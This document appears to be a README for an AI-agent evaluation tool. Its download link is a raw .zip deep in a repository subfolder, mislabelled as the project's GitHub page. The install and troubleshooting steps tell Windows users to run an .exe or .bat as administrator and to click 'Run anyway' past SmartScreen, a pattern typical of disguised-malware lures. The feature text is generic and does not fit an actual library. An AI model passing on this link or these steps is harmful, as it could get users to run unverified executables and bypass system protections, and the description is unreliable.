🤖 agent-reliability-engineering - Reliable AI agents with clear controls

🖥️ What this app is

Agent Reliability Engineering helps you work with AI agent systems in a safer, more controlled way. It focuses on checks, results, and tracking so you can see how your agent behaves over time.

Use it to:

• test agent runs
• track quality changes
• compare versions
• review performance metrics
• run transfer tests across setups
• keep config changes organized

📥 Download and run on Windows

Follow these steps on a Windows PC:

1. Open the download page: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip
2. On the GitHub page, look for the latest release or the main project files.
3. Download the Windows file or the project package from that page.
4. If Windows asks for permission, choose Yes.
5. If the file is a zip archive, right-click it and choose Extract All.
6. Open the extracted folder.
7. Find the app file or launch script and double-click it.
8. If a setup screen appears, follow the on-screen steps.

If you use a browser download, check your Downloads folder after the file finishes.

🔧 What you need

A typical Windows setup for this app:

• Windows 10 or Windows 11
• At least 4 GB of RAM
• 500 MB of free disk space
• A stable internet connection for first-time download
• Access to a standard user account with permission to run files

If you plan to use larger eval sets or many agent runs, 8 GB of RAM is a better fit.

📌 Main features

🧪 Evals

Run repeatable tests on agent behavior. This helps you check if changes improve or hurt results.

📊 imp@k metrics

Review output quality with ranked metrics that focus on the first few results. This helps when only the top answers matter.

🔁 Self-improvement tracking

Watch how the agent changes after updates. This makes it easier to see if a change helped.

🗂️ Config versioning

Keep versions of your setup files. You can compare old and new settings without losing track.

🔄 Transfer experiments

Test how one agent setup performs in a different task or environment.

👥 Multi-agent support

Work with more than one agent in the same flow. This helps when tasks need separate roles.

🪟 How to install on Windows

1. Open the GitHub page

Go to: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip

2. Find the download

Look for the latest release, build, or package on the page.

3. Download the file

Save it to your computer. Most browsers place it in the Downloads folder.

4. Extract it if needed

If the download is a .zip file:

• right-click the file
• choose Extract All
• pick a folder you can find again

5. Start the app

Open the folder and look for:

• an .exe file
• a .bat file
• a launcher
• a setup file

Double-click the file to start it.

6. Allow access if Windows asks

Windows may ask if you want to let the app run. Choose Yes to continue.

🧭 First run

When you open the app for the first time, it may:

• load a default config
• create a local workspace
• build a folder for logs
• prepare sample eval data
• show a simple start screen

If the app asks for a config file, choose a file from the app folder or use the default file it creates.

📁 Common folder layout

You may see folders like these:

• configs - saved setup files
• evals - test runs and test cases
• metrics - score files and result data
• logs - run history and debug output
• experiments - transfer test results
• outputs - saved reports

⚙️ Basic use

1. Open the app.
2. Load a config or choose the default one.
3. Pick a test set or task.
4. Start an eval run.
5. Review the results.
6. Save or compare the output.
7. Update the config and run again.

This workflow helps you spot changes in quality with less guesswork.

🔍 What to look at in results

When you review a run, focus on:

• task success rate
• top-ranked answer quality
• error patterns
• time per run
• config changes that affect output
• differences between agent versions

These checks help you learn which setup works best.

🛠️ Troubleshooting

The file does not open

• Make sure the download finished
• Check that you extracted the zip file
• Try right-clicking the file and choosing Run as administrator

Windows blocks the app

• Choose More info if it appears
• Then choose Run anyway
• Check that you downloaded it from the GitHub page above

The app closes right away

• Open the app again
• Look for a log file in the logs folder
• Check that any config file you selected is in the correct place

The app shows missing files

• Keep the full folder together
• Do not move one file without the others
• Extract the whole archive again if needed

The screen looks empty

• Wait a moment for the first load
• Refresh or reopen the app
• Check whether sample data is needed for the first run

🧪 Example use cases

• compare two prompt versions
• test whether a new agent gives better answers
• review how a multi-agent flow handles a task
• check if config edits changed the output
• track if a model update improved the top result
• run transfer tests from one task type to another

🧾 File types you may see

• .exe for Windows apps
• .zip for packaged downloads
• .json for config and settings
• .csv for result tables
• .md for notes and project info
• .log for run logs

🔗 Download again

Visit the project page to download or open the latest files: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip

🧩 Project focus

This project brings SRE-style control to AI agents. It puts attention on:

• repeatable tests
• clear metrics
• config history
• run tracking
• safer changes
• comparisons across versions

📎 Useful topics

• agent reliability engineering
• AI agents
• DevOps
• evaluation
• LLM
• metrics
• multi-agent
• production
• self-improving
• SRE